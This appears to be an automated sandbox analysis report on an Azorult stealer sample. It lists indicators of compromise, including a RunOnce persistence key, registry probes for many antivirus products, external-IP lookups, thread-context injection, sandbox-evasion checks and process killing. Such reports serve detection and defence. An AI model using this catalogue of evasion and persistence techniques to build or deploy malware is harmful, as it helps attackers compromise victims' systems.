azorult | 7eb17e438d59bba843cbedd3bfb2e421af4aa0d752d1ca1de7aff52c309af1be

Processes:

multitimer.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\zh3pyveqlqb = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ZCQ60Z84BT\\multitimer.exe\" 1 3.1618144848.6072ee50f3b97"	multitimer.exe

Checks for any installed AV software in registry 1 TTPs 53 IoCs

Security Software Discovery

T1063

Processes:

multitimer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\ESET\NOD	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AhnLab\V3IS80	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Bitdefender\QuickScan	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Jiangmin\ComputerID	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Vba32\Loader	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\BullGuard Ltd.\BullGuard\Main	multitimer.exe
Key opened	\REGISTRY\MACHINE\Software\Avira\Antivirus	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Sophos	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\F-Secure\Computer Security\DART	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ESET\NOD	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Fortinet\FortiClient\installed	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\K7 Computing\K7TotalSecurity	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\ClamWin\Version	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVAST Software\Avast	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\AVG\AV	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\ArcaBit	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\COMODO\CIS	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\COMODO\CIS	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ClamWin\Version	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\IKARUS\anti.virus	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Avira\Antivirus	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Doctor Web\InstalledComponents	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\TrendMicro\UniClient	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\FRISK Software\F-PROT Antivirus for Windows	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\KasperskyLab	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVG\AV	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\McAfee\DesktopProtection	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\G Data\AntiVirenKit	multitimer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

409 ipinfo.io
412 ipinfo.io
413 ip-api.com
224 ipinfo.io
96 ipinfo.io
129 ip-api.com
227 ipinfo.io
257 ip-api.com
94 ipinfo.io

flow	ioc
409	ipinfo.io
412	ipinfo.io
413	ip-api.com
224	ipinfo.io
96	ipinfo.io
129	ip-api.com
227	ipinfo.io
257	ip-api.com
94	ipinfo.io

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

multitimer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	multitimer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	multitimer.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

key.exesvchost.exe

description	pid	process	target process
PID 3188 set thread context of 2540	3188	key.exe	key.exe
PID 1416 set thread context of 4440	1416	svchost.exe	svchost.exe

Drops file in Program Files directory 4 IoCs

Processes:

Full Version.exe

description	ioc	process
File created	C:\Program Files\api-ms-win-crt-convert-l1-1-0.dll	Full Version.exe
File created	C:\Program Files\unins0000.dat	Full Version.exe
File created	C:\Program Files\unins0000.dll	Full Version.exe
File created	C:\Program Files\unins0000.vbs	Full Version.exe

Drops file in Windows directory 3 IoCs

Processes:

multitimer.exeMicrosoftEdge.exe

description	ioc	process
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new	multitimer.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new	multitimer.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

6844 timeout.exe
6704 timeout.exe

pid	process
6844	timeout.exe
6704	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

multitimer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	multitimer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	multitimer.exe

Kills process with taskkill 6 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

5284 taskkill.exe
4836 taskkill.exe
4480 taskkill.exe
5452 taskkill.exe
4268 taskkill.exe
5604 taskkill.exe

pid	process
5284	taskkill.exe
4836	taskkill.exe
4480	taskkill.exe
5452	taskkill.exe
4268	taskkill.exe
5604	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

Processes:

MicrosoftEdge.exebrowser_broker.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe

Modifies data under HKEY_USERS 5 IoCs

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe

Modifies registry class 64 IoCs

Processes:

rundll32.exeMicrosoftEdge.exesvchost.exesvchost.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{X6S7Y5Y3-WINZ-VP5O-6V75-6M59ZP1Y8621}	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 2110f968cf2ed701	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{M7E6Z6L3-BALZ-MI5F-5K37-0M55YM1D3151}	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{K2A7A3K0-ECRB-LM0G-2M91-3G19BV5P5669}	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "{5892011B-44C3-4519-AF7A-48B68BA09A8B}"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{Q4J0B7H3-CLFC-AN4E-8Q18-7Q45PB0I3113}\1 = "2204"	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\MigrationTime = 6c3a3b6c55add601	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgain	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 0100000006150d65b0f7a689a8bb0fa4b32be274aea73438c4cf0f4b758376c163e409c18f4de90a1b6eaec076f8a45d2fe1dac6f663635ad88c63e68f5a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 6c3a3b6c55add601	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 0d509768cf2ed701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{K2A7A3K0-ECRB-LM0G-2M91-3G19BV5P5669}\1 = "4748"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersio = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000e9226a74091ae93c2f716d82c2b8ccdc79fc19f54edd60fdde36b05a683646632a14181fe6e53585602dc8f78f22bb2156de1695d0d783c2306831488342f3578e0ea3aefe96aaa8ba3a68ce9499ffb560990ef9ed46d7f41e3ad554746c460b63b239b7254c840ce239176fda3d229635cdc587244b034b574d829cbed23c6a899ec2b6282792694bc9abe6e22eb5c71d1a11de6c045ee716412dc921963f46f07324d4be46588e8889f59cdc8c604036201d17f192978294b6038f8ad624df6ed2552c95cbd175ac1b880b9477339fac7e4da2ba156aebe24c283667b4864bf059c1b1c2d562ab011e7e9fbf0f26b594d66ea944ae7ecef7a3c835de4e32a629aa1a9b488401feeb31e3907675fcddcdc7d405b67b5bd7305c49dd11c6370dbf632b6079f80188f4f6c40c69c7f226c8f166caa79d021a26152a108d3af274c625b84ae550b7ff480ca6387326bc49eef466574835f3d11d6fbe1005ccef4547915993efaeda5dae12f24161b214741070e9000161c469e50a6b598c9aabcfba45f80f1d3137d1e8aacb815f8b08e05f056846a24272dec5d2e0f6c5e9c3c347d4d157039d	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0"	MicrosoftEdge.exe
